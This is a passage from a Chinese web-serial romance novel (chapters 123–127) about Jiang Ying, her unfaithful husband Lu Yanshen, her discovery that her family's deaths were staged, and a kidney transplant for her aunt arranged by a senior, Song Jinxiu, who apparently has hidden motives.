知道陆砚深心里有秦欣,但从未这么直白地听到两人欢爱的声音。
在她面前,陆砚深一直冷静自持,不是一个放纵欲望的人,没让他在储藏室这样的地方乱了分寸,可想而知他对秦欣有多喜欢。
在人前顾及面子跟她疏离,人后怕是恨不得将人揉入体内。
三年婚姻,江莹了解他,若不是真的喜欢身体不受控,他绝对不会在这里就发情。
江莹深吸一口气,稳住自己的情绪,却控制不住心里凉透。
“又不是第一天知道,随他们去吧,反正过完年就可以去办手续。”
她不想难堪,偏偏陆砚深要走时看到她和梁玥站在不远处。
男人转身走过来,“姑姑在找你,冯夫人想请你设计装修图。”
江莹刚才在里面时,几个官太太对她都微笑颔
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首,刚才她还觉得奇怪,现在看来是她们知道了自己就是山风。
至于是听谁说的,已经不言而喻。
陆砚深自然而然伸手去牵她,却**莹直接甩开。
梁玥趁机拉着江莹,抬脚时当自己没看到,一脚踩在他脚面上。
“嘶……”
论被什么踩最疼,陆砚深绝对会说女人的鞋跟。
“哎哟,陆总不好意思哈,你这脚怎么跟你这人一样不长眼!”
陆砚深:“……”
他咬牙忍了,跟一个女人犯不着。
江莹挽着梁玥刚走两步,想到陆砚深刚刚的话。
真是被气过头了,放着这么发的商机竟然差点错过。
她转身看着眉头紧蹙,微微弓着背的男人,声音冷淡,“麻烦陆总带个路。”
狗男人这个时候还是有点用的,若是冯夫人这一单能接下,以后在她那个阶层乃至以下,怕都是她的客户。
“莹莹?!”梁玥不解,“狗东西都把你绿成绿毛龟了,你还……”
“你先去找孟澜,我有分寸。”
陆砚深正疼的不想说话,听江莹这么说,提着一口气,冷冷看了一眼梁玥,“梁小姐,我不是每次都这么好脾气的。”
说完忍着疼走到江莹身边。
他们直接去了偏厅,里面要么是江北举足轻重的人物,要么是跟陆静淑关系亲近的好友。
江莹跟在陆砚深身侧,陆砚深想牵她的手,**莹避开,“别碰我,脏!”
陆砚深皱眉,他就跟秦欣说了几句话,怎么就脏了?
“江莹,别太矫情。”某人沉着脸。
言下之意,我不可能连跟人说话的自由都没有。
江莹不搭理他,看到乔云舒直接丢开他上前。
“表嫂,刚才冯夫人说要请你设计装修图,还有几个太太看了你给我发那些新年摆件想要呢。”
江莹抿唇,“这要多谢你帮我打广告了。”
“我是骄傲,没想到我一直要找的人竟然就在身边。”
陆砚深看着前面有说有笑的女人,脸色更沉,对谁对比对他好,现在好好说话都难,更别说对他笑。
想到**,他脸色更沉。
江莹跟着乔云舒走进偏厅,就听到陆静淑啧啧称赞,“我很喜欢他的作品,这幅是三十年前所作,灵动飘逸,潇洒中透着狂放。”
“是,只可惜,作品太少,后来的几幅也都让人觉得惆怅居多。”
第123章 再爱也不能沦为玩物
陆静淑瞥了周行端一眼,“哪里就惆怅了,分明是成熟了。”
周行端拧眉,风绕乔木的作品他只见过三幅,这幅明显有灵气。但,陆静淑这么说,他也不好跟她抢辩,笑道:“对对对,成熟。”
殊不知,他们俩说的根本就不是同一个人。
这幅青绿山水画,作画的是风绕乔木,题字的文达三江正是乔远文。陆静淑赞叹的是她老公的字,周行端称赞的是作画之人。
而这话落入江莹耳中,自然而然就默认为是说作画之人。
这两个组合,在她们家也有一幅,是母亲收藏的,她曾经问过,母亲说是上学那儿画的,后来觉得还是“山风”这个笔名更适合自己,所以就不再用“风绕乔木”。
听到两人虽然并没有达成一致见解,但对这幅画的喜爱之色毫不掩饰,江莹心里隐隐自豪。江岚曾说过,她的画画就是无聊打发时间,不求出名。
现在看来酒香不怕巷子深,母亲的画都能让周行端这样的人夸奖,只是她一直不知道这个“文达三江”是谁?
江莹问过,当时江岚说是偶然认识的,字很不错,就找他提过两次字。
现在想想,母亲提起这个人,似乎神色是黯淡惆怅的,自己的身世会不会跟这个人有关。
她正胡思乱想,听到有人叫她。
“哎,陆太太到了,来来来,到我这边坐。”
冯夫人说话间已经把位置给江莹腾出来。
连一向不怎么看得上江莹的陆静淑看到她眉眼都带来了几分少见的笑意。
“我是真没有想到,你就是‘山风’,三年前逍遥楼模型一出来,我们家老冯就称赞不已,跟乔**通电话一个劲儿夸。”
冯夫人丈夫是省委的,跟乔远文是同学,两人私交不错。
“冯夫人过誉了。”
江莹施施然在冯夫人身边坐下,温婉有礼,让冯夫人看了更是喜欢。
“静淑,你这个大侄子,是个有福的,老婆这么漂亮不说,还这么有才华,好事都让你们家占了。”
“你就别夸了,年轻人容易骄傲。”
陆静淑笑容恬静,但不难看出还是有几分的意在。
“她要骄傲早就说自己是谁了,这小姑娘还挺沉得住气,这三年多少人找‘山风’,她愣是没有露面。”
旁边几个官太太附和,“对对对,我看了云舒手机里她设计的那些制品摆件,可以说巧夺天工。”
江莹抿唇,“承蒙各位阿姨不嫌弃,过几天我会做一场直播,东西品类不少,都是过年用的喜庆物件。大后天我有场直播,几位阿姨若是感兴趣,到时候看我直播,有看上的我都送。”
“有你这么做生意的吗?”陆静淑嗔怪,“跟在砚深身边三年了,一点都没学会。她们哪个缺钱,让她们都去捧场多下单,还送,傻不傻?”
江莹嘴上这么说,心里能不知道,就算不冲陆砚深,她们冲陆静淑也不会白要。
“我怎么敢,各位都是长辈,我送给阿姨们,是我一点心意。”
她勾着嘴角忍不住颤了颤,心说今天的陆静淑人还不错,看来到时候直播间会比较热闹。
“几位阿姨若是有什么需求,可以加我微信,在微信跟我说,我能做的一定给大家做,保证都是独一无二的。”
江莹这话一出口,几个官太太瞬间围了过来,一个个拿着手机等着加她微信。
陆砚深看着在官太太中混的风生水,笑靥如花的女人,站在门口莫名觉得江莹是人群中最为光彩夺目的存在。
看着她,不觉间烦心事被短暂遗忘。
……
周野跟孟澜一前一后回到座位,沈斯阳睨了他一眼,“嘴怎么了,啃谁了?”
梁玥回来看到孟澜正坐着吃东西,皱眉嘟囔,“臭孟澜,你去哪儿了,害我跟莹莹好找。”
“刚被几个小姐拉着合照,签名,耽误了一会儿。”
周晶晶以为是冯家小姐为首的那几个,笑道:“她们几个没什么追求,唯一的爱好就是攀比,跟明星拍照也是攀比之一。”
沈斯阳看梁玥坐下,不动声色将抹茶蛋糕往她跟前推了推,眼睛依旧盯着周野,“还没说呢,嘴那么红啃谁了?”
梁玥瞬间看向周野,好像确实有点,红得不正常。
孟澜没有说话,小口吃着点心,并不担
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心被怀疑,因为刻意避开唇,周野一直在她肩上亲吻。
过去一年,她为了找周野,心力交瘁,怕他出事,也怀疑过他是不是移情别恋了。
但,今天见到他,她想要个解释,哪怕他是编一个相对靠谱的理由,她都会不顾一起扑到他怀里。
然而,刚刚在储物间,她问了,他的理由让人难以信服。
工作,什么样的工作会一点自己的时间都没有,连个电话,甚至一条消息都没时间发?
心里执着想要找到答案,如今答案似乎已经再明显不过,他想玩儿就出现,不想玩儿就失踪。
这样的追逐,太消耗一个人,心里有了答案,再爱也不能沦为玩物。
“你脑子里就只有那点事吗?”周野睨了他一眼,抬手挡住自己的嘴,沉声道:“你向来需求大,怎么最近没有见你身边有人,憋得住?”
沈斯阳抬脚替他,“晶晶还在呢,你说话能不能注意点。”
“斯阳哥,你别拿我当借口。再说,我都二十三了,什么不知道。”
梁玥心想,身边不是没有女人,是你没有看到而已,他的空窗期不会超过半年,这可是他自己说的。
“哥,刚才妈给我发消息,让你过去,你这么一直躲着怎么能行,杨叔是局长,你的顶头上司,他女儿你要是得罪了,小心工作上给你穿小鞋。”
周野白了她一眼,“操心你自己吧。”
晚宴结束,江莹跟在陆砚深身后送走陆静淑准备离开,秦欣从后面跟着陆宁出来。
江莹扫了一眼陆宁,她今晚难得安静,估计是被陆静淑警告过。
但这会儿陆静淑不在,她也不再装,看着江莹除了嫌弃就是恨。
秦欣微微扯唇,跟陆宁离开,一只脚刚踏进车里电话响起。
她看了眼手机,快速接通电话。
下一秒,身子一晃,差点摔倒,幸好被陆宁扶着。
“欣欣姐,出什么事了?”
秦欣顾不得回答,转身奔向陆砚深,靠在他身边声音带着哭腔,“砚深,我妈情况不好,在抢救。”
陆砚深原本是要去追江莹的,听到这个消息,身形一顿。
第124章 真相大白
陆砚深最终还是跟着秦欣走了。
江莹站在冷风中,看着那辆黑色的迈巴赫疾驰而去,眼底连最后一丝波动都归于死寂。
躲在储物间偷情,现在又因为秦欣再次将她丢弃。
陆宁看着江莹,满眼讽刺,“江莹,现在看明白了吗,只要欣欣姐开口,我哥随时都可以跟她走,你算个什么东西?”
江莹自嘲的笑笑,勾唇,“我不是东西,你是,还不是什么好坏东西。”
说完直接走人。
陆宁气得跺脚,“江莹,你有什么好得意的,我哥不爱你,被甩还这么骄傲,有没有点自尊。”
江莹听着身后的叫嚣,心想自己确实挺丢脸的,小三当着自己的面就把男人勾走了,失败!
她裹紧身上的衣服往前走,心里跟身上一样凉。
这时身后传来汽车鸣笛声,“陆太太,请上车!”
江莹迟疑,司机道:“周少爷让我送你回去。”
周野?
她怎么知道自己被陆砚深甩了?
江莹懒得想,直接上车,万一感冒了影响到孩子就不好了。
这一夜,陆砚深没有回梧桐里。
江莹也没有等他,她睡得很沉,直到第二天上午被一阵急促的电话铃声吵醒。
看了一眼来电显示,她瞬间清醒,按下了接听键。
“江小姐,三年前那场车祸,确实不是意外。”
**小娄的声音压得很低,却像一记重锤砸在江莹耳膜上。
她猛地坐起身,手指骨节捏得泛白,“你查到什么了?”
“经过我这段时间的走访调查,肇事司机在车祸前一周突然暴富,全款给他儿子在市中心买了一套大平层,让儿子结婚。”
“这不能说明什么吧?”
“他在暴富前查出患有肝癌,当时医生诊断最后活三年,当时他儿子正因为没有婚房被女朋友提分手发愁。”
小娄说到这里停顿了一瞬,给江莹消化的时间。如果一件事是巧合,那么一系列的事赶在一起就不是巧合了。
一个将死之人,需要钱续命,儿子因为没有房结不成婚,在双重打压之下,他会怎样?
江莹呼吸一滞,寒意从脚底直窜头顶,“能不能拿到证据?”
“我尽力。”
小娄顿了顿,语气有些慌,“我去监狱查司机的档案,发现他癌细胞已经扩散活不了多久。”
“也就是说,给我们的时间不多了。”
小娄道:“对,根据我多年的经验,可以肯定这就是一场**。”
江莹咬着唇,明明身上还裹着被子,但身体还是不受控制的颤抖,她没有想到,自己身边曾经有过这么恐怖的事和人。
“我通过关系找到当年照顾你外公的那个佣人。连哄带诈,他才承认,当年确实有人偷偷换了老爷子的药。但他坚持说自己不知道被换成了什么药,更没看清是谁换的。”
“老爷子去世后没几天,他就接到了一个匿名电话。”
“对方让他拿钱滚蛋,有多远走多远,否则就让他死无葬身之地。他实在害怕,这才连夜逃到国外去投奔儿子。”
“连他都不知道是谁换的药,那这么说就是没有直接的证据,只能证明我外公确实被人换了药。”
小娄叹了口气,将所有线索串联起来,“江小姐,现在所有的矛头都指向了一个极其可怕的真相。”
“对方先是对你外公下手,等老爷子一走,紧接着又除掉了你舅舅。”
“至于为什么最后那场车祸,偏偏选在你和你母亲都在车里的时候……”
小娄没有继续往下说,但答案已经昭然若揭。
他们就是想让江莹和她母亲一起**。
江莹只觉得浑身的血液在此刻被彻底冻结。
原本自以为生活幸福,自在的像个小公主,没想到经历了一场蓄谋的灭门**后三年,她才察觉。
想到某个可能性,想到某个人,她不由地后背发凉。
“麻烦你继续盯着那个司机,想办法让我去见他一面。”江莹嗓音沙哑得厉害。
“好,有任**情况我随时联系你。”
挂断电话,江莹拢着被子将自己包裹起来。小说和电视里的剧情,竟然真切地发生在自己身上。
自己和母亲能够活下来,还真是万幸!
江莹默默坐了好久,胃里一阵阵泛酸烧心,让她很不舒服。
别人都是孕吐验证,相比之下她孕吐不严重,倒是被烧心泛酸折磨得不轻,吃点东西难受,不吃也难受。
她起床下楼,准备做早餐,江墨打来电话。
“姐,我妈又进抢救室了!”江墨的声音带着哭腔,彻底打破了江莹强撑的镇定。
“小墨,你别急,我马上过去?”
“姐,医生刚刚下了病危通知,说再不安排**,随时可能醒不过来。”
江莹不知道该怎么安慰江墨,她心里同样七上八下。
“你之前不是说,陆砚深那边已经联系到了合适的**吗?能不能去问问到底什么时候能手术?”
听到“陆砚深”这三个字,江莹心口狠狠一抽。
狗东西一晚上一个电话都没有,这会儿不知道有没有从别人床上起来了呢。
“我知道了,我这就去陆氏找他。”
毕竟是自己花了一个亿买的**消息,江莹挂了电话,速度换好衣服出门。
陆氏集团,总裁办。
江莹一路畅通无阻地推开了陆砚深办公室的大门。
然而,偌大的办公室里并没有那个清冷矜贵的男人。
真皮沙发上,秦欣正端着一杯咖啡,悠闲地翻看着一本时尚杂志。
听到开门声,她抬起头,看到江莹时,嘴角勾起一抹毫不掩
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饰的嘲弄。
“江小姐怎么来了?”
江莹眼神冰冷地扫过她,“陆砚深呢?”
“找砚深啊?”秦欣放下咖啡杯,慢条斯理地站起身。
她今天穿了一件香奈儿的高定套装,整个人透着股得意。
“真是不凑巧,砚深坐凌晨的飞机出国了。”
江莹眉头紧锁,“出国?他去干什么?”
秦欣掩着唇轻笑了一声,踩着高跟鞋一步步走到江莹面前。
“我妈急性肾衰竭,需要**。你也知道,砚深很看重我妈,他不放心国内医生的水平,去请国际上的权威专家。”
秦欣盯着江莹瞬间苍白的脸,一字一顿,她是知道怎么在江莹心上捅刀子的。
这么多年,陆砚深对她妈和舅妈不闻不问,现在为了周梅连夜出国找医生。
果然,没有对比,就没有伤害。
江莹愣怔一瞬,猛地反应过来,周梅需要**!
“你怎么这个反应,不会是担心我妈吧。”秦欣意味深长地上下打量着江莹,“你放心,砚深一定不会让我妈有事的,他说了有**。”
嘣一声,江莹脑子里紧绷的那根弦,彻底断了。
她浑身不可抑制地颤抖起来,指尖死死掐进掌心里,却感觉不到丝毫痛意。
有**是什么意思?
他要把**给周梅?
陆砚深早就知道舅妈的病情拖不得,他也答应过**的事他会盯着。
现在该不会,要把舅妈活命的希望,拱手送给秦欣的母亲吧?
江莹明知道不该听信秦欣的一面之词,但多年的生活现实,已经让她不敢抱希望。
因为,只要跟秦欣沾边,陆砚深从来不会站在她这边。
江莹不想看到秦欣那张得意的脸,她僵着身子离开陆砚深的办公室。
在电梯口碰到拿着资料过来的李律师,“太太,陆总说今天你会过来,我一直在等你。”
江莹想着**的事,忘记了这件事,她深吸一口气,开口:“李律师,长话短说,我还有急事。”
“好,根据我现在搜集的资料,已经完全可以起诉离婚。”
“将张启明净身出户有没有把握?”
李律师有些为难,“难倒是不难,只是公司经过破产重组,说白了跟之前的**没有太大关系,而且他名下的资产都在唐玉女士名下。”
江莹不受控制腿上一软,她靠在电梯里,整个人胸口堵着一口气,瞬间脸色惨白。
张启明,他这是步步算计好的。
“太太……”
江莹缓了良久,直到出了电梯,才突出胸口那口浊气。
“李律师,现在先不急,你想办法弄到张启明和张冉冉的DNA样本,然后送检。”
她现在要的不是张启明净身出户这么简单,她要真相大白,她要该死的人付出代价。
第125章 **没了
从陆氏集团出来,冷风迎面扑来。
江莹脚下一软,险些栽倒在台阶上。
早上接了电话就急匆匆赶出门,滴水未进,加上担心舅妈,紧绷的神经和孕反,让她此刻头晕目眩。
她跌跌撞撞地走到路边,伸手扶住冰冷的黑色路灯柱子。
脸色惨白如纸,额头上渗出一层细密的冷汗。
江莹忍着身体的不适,拿出手机给陆砚深打电话。
良久,男人疲惫的声音传来,“喂!”
江莹听到他的声音,手指紧紧抠着路灯柱,强迫自己镇定,“陆砚深,你是不是要把**给周梅?”
陆砚深闻言,停顿了几秒钟,“她的情况很凶险,等我回去再说。”
几秒钟的停顿,还有那句低沉的话,把江莹彻底推入了冰冷的深渊。
什么意思已经再明显不过,他有这个心思。
江莹没有追问,直接挂了电话,只觉身体阵阵发寒。
舅妈还在医院抢救,小墨还在等她的消息。
可**没了。
医生建议尽快做移植手术,多等一天风险就加重一分。
三年的隐忍和付出,换来的是他无底线的偏心和践踏。
江莹咬着唇,勉强压下喉头翻滚的酸楚。
舅妈不能出事,若是舅妈没了,江墨该多伤心?
舅舅拼命护住她和母亲,她却在明明有**的情况下,眼睁睁看着舅妈离开。
这个现实,江莹接受不了,若是从来没有,她或许也不会这么痛苦。
偏偏陆砚深说有,舅妈有活下去的机会,他却为了秦欣要把唯一能够活命的机会让给周梅,她怎么能甘心?
这时,江墨打来电话。
江莹看着手机屏幕上的名字,眼泪在眼眶里打转。
她深吸一口气,让自己平静,若是她也乱了,江墨该怎么办?
她接通电话,声音平稳,“喂,小墨。”
“姐,医生说必须尽快进行移植手术,否则我妈过不了这个年。姐,该怎么办?”
江墨的哭,让江莹心酸,那个无忧无虑长大的男孩儿这三年,脸上很少有笑。曾经天不怕地不怕的人,这会儿哭得像个孩子。
“你先别急,我马上去见捐赠者,你放心。”
挂了电话,江莹蹲在地上哭了起来,三年前那种无助感再次袭来。
事到如今,她能想到的就是自己去找捐赠的人,即便是抢,她也要抢过来。
信息,陆砚深给过她,找到那人不难,难就难在他本来可以多活个把月,现在若是捐了肾,不知道对他有没有影响。
此时自己的行为,无疑像是在催命。
她纠结着站起身,眼前一黑,差点栽倒。
江莹扶着路灯柱等待眼前的黑暗过去时,一辆银灰色的保时捷缓缓在她身边停下,恰好挡住那阵刺骨的寒风。
车门推开,一道修长温雅的身影快步走了过来。
“莹莹?”
宋瑾修看着靠在路灯杆上摇摇欲坠的女孩,清润的眼底闪过一丝慌乱。
他大步上前,伸手稳稳扶住江莹的手臂,他都能清晰地感觉到江莹在控制不住地发抖。
“师哥……”
江莹抬起头,看到宋瑾修那张温和关切的脸,强行伪装的坚强有了一丝裂缝。
宋瑾修眉头紧蹙,看着她毫无血色的嘴唇,心疼得不行。
“你怎么样?”
他扶她站稳,顺势将自己脖子上的羊绒围巾取下来,绕在江莹冰冷的脖颈上。
江莹虚弱地摇了摇头,“我没事。”
“我陪你一起去医院,江墨一个人怕是应付不来。”
江莹强撑的坚强,瞬间坍塌,“师哥,我舅妈,她……”
“我知道。”宋瑾修打断了她的话,声音温柔却透着一股让人安定的力量,“有我在,不会有事,**……”
“我现在就去找**。”江莹眼眶酸涩地发疼,“师哥你能不能陪我去一趟第四监狱,哪里有个犯人同意捐肾。”
宋瑾修为难,“莹莹,江墨跟我说过之这事,他跟我说穆阿姨病危时,我就去了第四监狱,那个犯人昨天晚上被转走了,具体转到了哪儿,监狱不肯透漏。”
江莹脑袋里“嗡”的一声,转走了?
这个节骨眼儿上,怎么就转走了,为什么转走,是谁转走的?
这些问题隐隐指向一个她不想承认,却又不得不承认的方向。
江莹两眼空洞的望着路上飞驰的汽车,浑身抖得像筛子。
“莹莹,你还有师哥,别怕。”
江莹不是怕,她是气,是心里刺骨的寒凉。
“那个人肝癌晚期,谁能保证癌细胞有没有转移到肾?”
这个问题江莹不是没有想过,陆砚深说了,他一直让医生在保他的肾,所以她从来没有担心过这个问题。
看着江莹绝望的神色,宋瑾修眸中
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闪过一丝光亮,他温声道:“你先别慌,这段时间我一直在暗中托人打听**的消息,刚好有个配型完全吻合,而且对方及家属都同意捐献。”
从极度的绝望到现在的惊天消息,江莹愣住了,耳边嗡嗡作响,以为自己出现了幻听。
“你……你是说……”
宋瑾修微微一笑,抬手理了理她被风吹乱的头发。
“莹莹,**不止陆砚深能找到。”
江莹眼泪掉得更凶,她从来没有说过,宋瑾修却已默默帮她。
“好了,我们去医院,我已经让人去办交接手续,最快后天就可以安排手术。”
巨大的惊喜来得猝不及防,像是在极夜里突然撕开了一道曙光。
江莹紧紧盯着宋瑾修,眼泪簌簌往下落。
绝望中窥得一束亮光,瞬间照亮了她周围的混沌。
“师兄……”
“跟师兄不用客气。”宋瑾修的声音越发轻柔,“我已经让江墨去签确认书,你现在不用担心了。”
江莹只觉得浑身被抽干的力气瞬间又回流到了四肢百骸。
“谢谢……师兄,真的谢谢你。”
江莹哭着笑出声,心底那份沉甸甸的亏欠感,却比任何时候都要强烈。
她欠宋瑾修的,这辈子恐怕都还不清了。
宋瑾修看着她落泪,眸光微闪,眼底深处掠过一抹不易察觉的幽暗。
他打开副驾驶的车门,护着她的头顶,“外面风大,先上车,我们去医院。”
江莹点点头,弯身上车。
车门关上的那一刻,宋瑾修站在车外,转头看了一眼高耸入云的陆氏集团大楼。
温润如玉的脸上,浮现出一抹极冷的笑意。
……
江莹看着窗外**的街景,心里有说不出什么滋味。
生活似乎很喜欢给她开玩笑,当初她已经觉得放弃陆砚深,老天却硬生生把她推到了陆砚深身边。
她下定决心要离婚,老天却给了她两个孩子,让她无形中对离婚这件事有了一丝松动。
如今,本来以为只要舅妈能挺过这段时间,就能重获新生,却不想周梅也需要**。
而陆砚深再一次选择了秦欣,抛弃了她。
宋瑾修看她一直不说话,也没有吭声,而是拿着手机回消息:这次我能帮你,下次你可不一定这么走运,他已经被人盯上,接下来自己看着办,屁股擦干净别给我惹事。
第126章 老婆要被撬走了
到了医院,宋瑾修扶着江莹,用身体替她挡开走廊里来往的人群。
两人刚到病房走廊,就看到拿着一沓单据的江墨匆匆回来。
“姐!”
江墨眼眶通红,猛地扑过来将江莹紧紧抱住。
江莹下意识的抬手挡在自己小腹上,然后将人推开,“撞到我了。”
“姐,医生说后天一早就可以做手续,我都签完了!”他激动的声音里带着兴奋,眼泪瞬间也砸了下来,“我妈有救了,她再也不用忍受透析的折磨。”
江莹原本在路上已经强压下去的泪水,被他这一句话瞬间勾了出来。
她伸手回抱住弟弟,用力拍着他单薄的后背。
舅妈为了等一个合适的**,已经生生熬了两年,随时都在生死边缘徘徊。
现在,总算是有活命的机会了。
江墨擦了擦眼泪,看向宋瑾修,激动地抓住他的手,“宋哥,多亏有你,以后我当牛做马报答你这份恩情。”
宋瑾修在他额头上弹了个脑瓜崩,“臭小子,跟我这么客气了。”
江墨咧嘴,“哎呦,宋哥你下手太狠了。”
江莹擦干眼泪,看着江墨哭了又笑的样子,抿唇笑了下,对宋瑾修的亏欠让她不知道该说什么。
她,推开病房的门,走了进去。
病床上的穆青脸上没有一点血色,身上插着各种各样的监护仪器。
她虚弱地转过头,视线越过江莹,落在了跟进来的宋瑾修身上。
穆青干瘪的嘴唇动了动,扯出一个感激的笑。
“小……小宋,这次真是……又多亏了你,谢……谢谢!”
她声音极低,断断续续地喘着气,每一个字都用尽了全部力气,是发自生命深处的谢意。
“这些年,要不是你一直帮衬,我们这个家怕是早就熬不下去了。”
江莹愣在原地,猛地转头看向病床上的舅妈。
“帮衬?”
她满眼错愕地看向江墨。
江墨低着头,不敢看她的眼睛。
“姐,其实……我那些所谓的国家奖学金,还有勤工俭学的高薪兼职,都是假的。”
他揪着衣角,声音里透着浓浓的愧疚。
“是宋哥一直在暗中资助我上学的费用,都是他定时打到账上的。他不让我做兼职,只要求我好好学习,将来有真本事才能帮到你。”
“他怕你有心理负担,交代我和我妈,不让告诉你。”
江莹再次震惊,所有的信息叠加起来,狠狠冲击着她紧绷的神经。
原来这三年,宋瑾修一直在她看不见的地方,替她分担着。
而她竟然一无所知,单纯地以为师哥只是尊重她,因为她的避嫌并没有跟她有太多的牵绊。
心底那份对宋瑾修的亏欠感,瞬间像滚雪球一样越滚越大,压得她喘不过气来。
宋瑾修推了推鼻梁上的金丝眼镜,神色依旧温和。
他对资助的事情绝口不提,只上前一步,不动声色地转移了话题。
“阿姨,现在您各项指标都不错,就安心养足精神,等后天的手术了。苦日子到头了,以后的日子只会越来越好,放宽心。”
穆青眼角滚下两行浑浊的泪,连连点头。
安抚好穆青,宋瑾修手机响起,他示意接电话走出病房。
江墨看着宋瑾修走远的背影,转头看向江莹,“姐,你该醒了。”
他咬了咬牙,把憋在心里许久的话吐了出来。
“不是所有人都会傻傻地站在原地等你三年的。这么好的男人,你如果再错过,这辈子就真的找不到了。陆砚深是好,但他对你不好,有什么用?”
穆青轻咳一声,摆了摆手,“小墨,莹莹,她……她知道该怎么做。”
江莹从小就主意正,凡是她打定主意的事,不撞南墙绝不回头。
用江岚的话说,就是撞了南墙她也不愿回头。
江莹垂下眼眸,遮住了眼底翻涌的苦涩,心乱如麻。
……
隔天下午,穆青的肾移植手术紧张有序地进行。
手术室门上那盏刺眼的红灯一直亮着。
江莹坐在走廊的排椅上,紧张地盯着那扇紧闭的门。
那个电话后,一天一夜,陆砚深没有半点消息。
他就像是从她的世界里彻底蒸发了一样。
江莹捏着手机的指节泛着冷硬的白,心也里彻底冷透。
梁玥请了假,从中午就一直陪在她身边,连孟澜得知消息都赶了过来。
“莹莹,一定会没事的,别紧张,你当心自己的身体。”
梁玥看她中午没吃几口,为她担心,毕竟怀着两个孩子,怕她吃不消。
孟澜隐隐觉得梁玥对江莹的关心有点太谨小慎微,吃饭的时候就一直劝她多吃点,要当心身体。
“江莹,你身体是不是有什么毛病,梁玥为什么一直让你注意身体,有什么问题你跟我说,别瞒着我一个人。”
梁玥眨眨眼,她有一直说吗?
江莹看了眼站在手术室门口的江墨,摇头,“没有,我年轻力壮能有什么事
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,她就是怕我担心舅妈扛不住。”
孟澜疑惑地看了眼梁玥,梁玥立马点头,“你也太敏感了,不知道还以为你去刑警队进修了呢。”
她没有去刑警队进修,但毕竟是打磨演技的,习惯去研究人的面部表情。
而且,跟周野在一起那段时间,他没少跟她讲怎么透过一个人的面部神态和眼神来揣测一个人的内心。
直到下午六点,手术室的红灯终于熄灭。
主治医生推门而出,摘下口罩露出了疲惫却轻松的笑容。
“手术很顺利,接下来就看排异恢复情况了。”
江莹紧绷了十几个小时的神经骤然松懈,悬着的心总算落地。
起身时,才察觉自己腿都是软的。
而此时,沈斯阳好不容易捱到下班。
之前一直觉得时间不够用,今天下午只觉时间过得特别慢,
他给周野拨了个电话,约他出去喝两杯。
电话那头的人,不耐烦道:“没空,我要去趟医院。”
沈斯阳挑了挑眉,语气里透着八卦,“去医院干嘛?”
周野冷嗤了一声,“周晶晶那丫头非要去给那个孟澜和江莹送饭,让我当司机。”
“江莹也在医院?”
“她舅妈今天做肾移植手术。”
沈斯阳皱眉,难怪那丫头请假,原来是陪江莹去了。
“那个,等会儿医院见吧,毕竟是江莹的亲舅妈,砚深不在,作为兄弟应该替他去看看。”
周野还真没有疑心,以为他真就是替兄弟去看看。
半小时后,两人提着食盒跟在周晶晶身后并排出现在住院部的走廊上。
而住院部门口,江莹跟宋瑾修站在一起。
“师哥,谢谢你,**和病房多让你费心了。”
江莹不知道该怎么表达自己心里的感激之情,说得太多显得生疏,但救命之恩又不能不吭声,最终所有的感激化作只能化作一句“谢谢”。
宋瑾修揉揉她的头,“更我还这么客气,快进去吧,病房换大一点,空气流畅,利于阿姨康复。”
江莹满心感激,满心欢喜,以为这场手术舅妈可以重获新生,却不想是舅妈的催命符。
不远处的沈斯阳听到两人的对话才知道,原来这救命的**根本不是陆砚深找的,而是宋瑾修!
操,这特么事情大条了。
他赶紧摸出手机,调出陆砚深的微信对话框,指尖在屏幕上飞快地敲击。
“你特么再不回来,你老婆真要被人撬走了!”
第127章 不要轻易刺激一个男人
周野看了沈斯阳一眼,刚准备抢他手机,这人已经点了发送。
“你干什么,砚深不是没理由分寸的人,他那天一定是遇到事了。”
“你怎么知道?”
“他那天走得着急,来不及送江莹回去,给我打的电话让我安排人送她。”周野白了他一眼,“他若是不有急事,怎么可能这么做?”
“那他这两天都不在,不是给人撬墙角的机会嘛,我这也是给他提个醒。”
周野懒得理他,视线漫不经心地扫过正在跟江莹说话的宋瑾修。
这是他第一次见宋瑾修。
这男人一身剪裁得体的灰色大衣,金丝眼镜,温润如玉。
但明明是第一次见,却让他隐隐觉得这个人有那么点熟悉感。
周野在特种部队八年,其中四年都在执行特殊任务,他对身边的人和事,有着敏锐的观察力和早就练就的直觉。
那种温润看似无害的气质,却压不住镜片后那双深不见底的眸子,这样的反差让他不觉间就会提高警惕,或者说是提高他的关注度。
“那人是江莹师哥?”
“对,荣盛的老板宋瑾修,行业新秀,短短三年的时间从籍籍无名,做到了行业新贵。”
沈斯阳言语中的酸意,周野听得明白,轻嗤一声,“嫉妒?”
“我嫉妒他什么?”沈斯阳挑眉,“嫉妒没我高,没我帅,没我有钱,没我前女友多?”
“啧啧,果然嫉妒使人丑陋,你照照镜子,看看你这张扭曲的脸。”
他嘴上打趣沈斯阳,实际心里却在盘算这个人一定能力非凡,要不然怎么会三年的时间做到行业新贵,让沈斯阳都这么嫉妒?
“嫂子。”
江莹转头,跟她打招呼,“晶晶。”
周晶晶提着一个水果篮凑上前,宋瑾修转头温润干净的气质,直直撞进她眸子里。
小丫头脚步顿住,心脏咚咚直跳,这一刻她仿佛听到了自己心跳的声音。
“你们怎么来了?”江莹迎上前,视线扫过周野和沈斯阳。
“哦,澜姐说你们都在这儿,还没有吃晚饭,我就给你带了点过来。”
她目光时不时在宋瑾修身上打量,脸颊微微发烫。
宋瑾修视线在她脸上一扫而过,然后冲周野和沈斯阳微微颔首。
周野毕竟第一次见,还算客气,同样点头回应。
沈斯阳就不一样了,撬他兄弟墙角,他可不会给好脸色。
几人进入病房,梁玥和孟澜看到一同进来的两个人,脸色一个比一个精彩。
一阵寒暄过后,梁玥逼着江莹吃了点东西,看着江莹一脸疲惫、眼底满是乌青,担心她一个孕妇身体承受不了。
“莹莹,舅妈已经在ICU监护室安顿好,我们待在这里也没什么用,你跟着担心几天了,赶紧回去休息。再说了,我们明天还有直播,你备了那么多货不能砸在手里吧。”
梁玥不说,江莹还真把这事忘了,一时间有些纠结。
手术后四十八小时是急性排异反应的高发期,她不放心。
江墨安慰道:“姐,你回去吧,有事我及时给你打电话。”
舅妈还在危险期,江莹怎么可能放心走,她刚要开口拒绝,梁玥不由分说地架起她的胳膊,“小墨,你姐最近严重低血糖,你看她脸色也不好,我先送她回去。”
“好,辛苦玥姐。”
“澜澜,今天辛苦你了,赶紧回去吧。”
“莹莹,你看起来确实状态不太好,回去好好休息,别想太多,舅妈一定会好起来的。”
孟澜前两天还觉得陆砚深跟江莹关系不错,哪知今天这么大的事,他都没有露脸。
经过她一番盘问,梁玥才跟她说江莹跟陆砚深正在闹离婚,那些恩爱都是装的。
